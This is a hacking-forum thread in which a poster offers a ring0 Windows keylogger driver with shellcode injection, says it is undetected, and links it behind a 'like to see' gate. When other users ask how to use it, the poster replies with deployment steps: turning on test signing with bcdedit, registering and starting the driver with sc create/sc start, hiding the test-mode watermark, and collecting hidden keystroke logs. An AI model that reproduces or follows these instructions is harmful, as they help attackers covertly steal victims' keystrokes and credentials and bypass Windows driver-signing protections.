Ring0 keylogger

[m3tal]

Capabilities :

— log keystrokes and store it %Systemroot%\logs\logs.txt

— Shellcode injection, (open port)

Compatibilities :

Win (win7/8/10).

Note:

Upated from 2012 version.. this version works now with win10. this version don’t disable patch guard.

for avoid the patch guard there is what to do :

- Use a watermark utility for removing watermarks from system.

- exdcute bcdedit /set testsigning on

after that you can use loader or load it yourself..

there is link :

To see this hidden content, you must like this content.

DON’T break it, if you need it use it. If don’t need it don’t use it.

statut : undetected.. che for yourself and you will see

 

[bash818]

-->DON’T break it, if you need it use it. If don’t need it don’t use it.

statut : undetected.. che for yourself and you will see<--

Hahaha, good shit!

 

[Mallware]

how to use it?

 

[m3tal]

Reupload cause of mega deleted the file :

To see this hidden content, you must like this content.

 

[Mallware]

Reupload cause of mega deleted the file :

To see this hidden content, you must like this content.

how to use it?

Read More at :http://level23hacktools.com/forum/forum/hacking-administracion-remota-bugs-exploits/administracion-remota/keyloggers/112293-ring0-keylogger

 

[m3tal]

how to use it?

Read More at :http://level23hacktools.com/forum/forum/hacking-administracion-remota-bugs-exploits/administracion-remota/keyloggers/112293-ring0-keylogger

I explained how, just look.

-1 Type bcdedit /set testsigning on

-2 register the driver (sc create driver type=kernel binpath=«your driver path ») after (sc start driver) OR register with a loader (OCR is good), you can use trula if you want.

-3 you collect keystrokes by stoping the driver (sc stop)

Logs.txt is hidden when driver is running..

-4 you check keystrokes at %systemroot%\logs\logs.txt.

this version works with x64 architecture..

If you have problem because of TestMode watermark, use a watermark remover.

 

[Lara]

How does it work sir ???

 

[jewelopi]

let me see this

 

[Skelsbyches]

ok i hope it works fine